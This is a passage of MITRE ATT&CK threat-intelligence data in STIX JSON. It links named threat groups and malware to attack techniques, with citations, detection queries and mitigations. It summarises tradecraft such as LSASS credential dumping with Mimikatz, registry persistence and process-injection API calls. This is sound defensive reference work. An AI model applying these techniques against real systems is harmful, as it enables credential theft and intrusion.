2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60069e30-f64a-4515-9c40-b3a9f455f780","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T17:47:27.208Z","description":" Monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.\n\nAnalytic 1 - Multiple failed logon attempts across different accounts.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode IN (4625, 5379))\nOR (index=security sourcetype=\"linux_secure\" message=\"Failed password\")\nOR (index=security sourcetype=\"macos_secure\" message=\"Failed to authenticate user\")","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60077740-36a0-4fd6-8c07-0694143b722e","created":"2023-07-27T20:27:55.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T19:27:26.955Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has obtained memory dumps with ProcDump to parse and extract credentials from a victim's LSASS process memory with [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60135ffa-b3f7-4aa8-b12e-faa2719dc5d7","type":"relationship","created":"2020-05-14T14:38:22.607Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}],"modified":"2020-05-14T14:38:22.607Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has called kill.bat for stopping services, disabling services and killing processes.(Citation: CrowdStrike Ryuk January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60137eb6-ed8c-41ce-bf75-6b45cdafe751","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Fidelis Turbo","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.","url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.678Z","description":"The [Derusbi](https://attack.mitre.org/software/S0021) malware supports timestomping.(Citation: Novetta-Axiom)(Citation: Fidelis Turbo)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60151204-5c0c-4d18-8582-4d0fad22ed08","type":"relationship","created":"2019-06-25T14:09:38.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-23T20:13:08.627Z","description":"Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. ","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60162382-5417-4930-8226-8d5755f84e13","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft SharePoint Logging","description":"Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.","url":"https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T15:59:43.367Z","description":"Monitor for newly constructed logon behavior across Microsoft's SharePoint which can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial.\n\nAnalytic 1 - Suspicious actor IPs, unusual user agents (e.g., malware, scripting interpreters like PowerShell, Python), anomalous login times\n\n index=\"azure_ad_signin_logs\" Resource=\"Office 365 SharePoint Online\" AND (UserAgent=\"PowerShell\" OR UserAgent=\"Mozilla\")\n| stats count by UserAgent, UserID, IPAddress, Location\n| where IPAddress!=\"expected_ip\" OR Location!=\"expected_location\"","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6017ff5f-e522-45fe-857a-e4fef38a6349","type":"relationship","created":"2021-05-17T19:26:45.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.323Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can enumerate services on compromised hosts.(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60198640-1e5a-4b8e-9a69-5f275f7e0e68","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"modified":"2020-03-18T20:19:35.792Z","description":"[OSInfo](https://attack.mitre.org/software/S0165) queries the registry to look for information about Terminal Services.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60202ca3-cadc-4756-99c8-a4b18e07d116","type":"relationship","created":"2022-03-24T22:31:32.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.759Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can modify registry keys, including to enable or disable Remote Desktop Protocol (RDP).(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6025ae9c-80d1-4615-9556-174a9ccfef3c","created":"2023-04-03T17:41:59.145Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-03T17:41:59.145Z","description":"[Metador](https://attack.mitre.org/groups/G1013) has used the Windows command line to execute commands.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60269020-6ab2-496a-9649-3b1cd707aced","created":"2022-10-13T15:28:44.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:10:56.771Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) has used a service named `WSearch` for execution.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--602a4664-e89c-4c11-982d-699589853ab3","type":"relationship","created":"2020-11-19T16:56:30.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2020-11-19T16:56:30.146Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can retrieve information from the infected machine.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--602c1dc8-314c-4149-805a-a9a741aa074e","created":"2022-09-30T20:40:08.196Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:40:08.196Z","description":"[S-Type](https://attack.mitre.org/software/S0085) has attempted to determine if a compromised system was using a Japanese keyboard via the `GetKeyboardType` API call.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--60331850-dfc3-4769-9790-1be664aa63c2","created":"2021-11-29T20:04:54.739Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pandora](https://attack.mitre.org/software/S0664) has the ability to gain system privileges through Windows services.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-15T14:18:48.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60349cdb-6f9a-4962-92aa-105eea1d112a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2020-03-28T21:34:53.553Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) creates a scheduled task to ensure it is re-executed everyday.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6035f6c6-8e6c-4ac6-9467-722502e90799","created":"2023-09-12T18:05:46.882Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"},{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:43:12.937Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used malicious links to cloud and web services to gain execution on victim machines.(Citation: Proofpoint TA2541 February 2022)(Citation: FireEye NETWIRE March 2019)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--603725ac-1b50-482d-b3f5-f657fdd082af","type":"relationship","created":"2020-09-24T14:20:39.254Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.348Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) has used HKLM\\SOFTWARE\\Microsoft\\CurrentVersion\\Run to establish persistence.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--603bfd74-0585-40f7-ba65-1a72d87f0775","created":"2023-07-07T19:00:05.683Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T20:24:50.787Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used compromised Azure credentials for credential theft activity and lateral movement to on-premises systems.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--603d13cd-f6f7-4321-99db-3d3326878de4","type":"relationship","created":"2019-06-24T14:20:50.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/","source_name":"Intezer HiddenWasp Map 2019"}],"modified":"2019-07-06T22:20:35.368Z","description":"[HiddenWasp](https://attack.mitre.org/software/S0394) uses an RC4-like algorithm with an already computed PRGA generated key-stream for network communication.(Citation: Intezer HiddenWasp Map 2019)","relationship_type":"uses","source_ref":"malware--fc774af4-533b-4724-96d2-ac1026316794","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--604045bc-5d44-495f-a0cb-df73bd769d90","type":"relationship","created":"2020-09-24T13:19:42.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.033Z","description":"[RegDuke](https://attack.mitre.org/software/S0511) can persist using a WMI consumer that is launched every time a process named WINWORD.EXE is started.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--47124daf-44be-4530-9c63-038bc64318dd","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6043fd33-6e50-439a-9ee4-1d24a96fe913","type":"relationship","created":"2021-06-02T16:04:10.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-04T13:40:50.600Z","description":"[DEATHRANSOM](https://attack.mitre.org/software/S0616) can use loop operations to enumerate directories on a compromised host.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--604fa5ae-0a32-45d7-9b9b-595fb43688b6","created":"2021-09-30T12:48:38.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cyberint Qakbot May 2021","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.","url":"https://blog.cyberint.com/qakbot-banking-trojan"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:19:16.871Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has hidden code within Excel spreadsheets by turning the font color to white and splitting it across multiple cells.(Citation: Cyberint Qakbot May 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6052eaae-d1a4-47aa-91ff-e1db16521dd3","created":"2022-06-09T19:07:03.267Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."},{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has used different API calls, including `GetProcAddress`, `VirtualAllocEx`, `WriteProcessMemory`, `CreateProcessA`, and `SetThreadContext`.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T20:37:21.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--605478eb-c1c2-4029-bf36-9cc8981f2bee","created":"2022-08-02T15:43:11.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","description":"CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022.","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T20:51:06.673Z","description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can enumerate the username and account type.(Citation: CISA AR18-352A Quasar RAT December 2018)","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--606482ca-b774-4d68-aeaf-180250e4c668","created":"2024-09-04T18:24:09.979Z","revoked":false,"external_references":[{"source_name":"Talos Manjusaka 2022","description":"Asheer Malhotra & Vitor Ventura. (2022, August 2). Manjusaka: A Chinese sibling of Sliver and Cobalt Strike. Retrieved September 4, 2024.","url":"https://blog.talosintelligence.com/manjusaka-offensive-framework/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T18:24:09.979Z","description":"[Manjusaka](https://attack.mitre.org/software/S1156) can execute arbitrary commands passed to it from the C2 controller via `cmd.exe /c`.(Citation: Talos Manjusaka 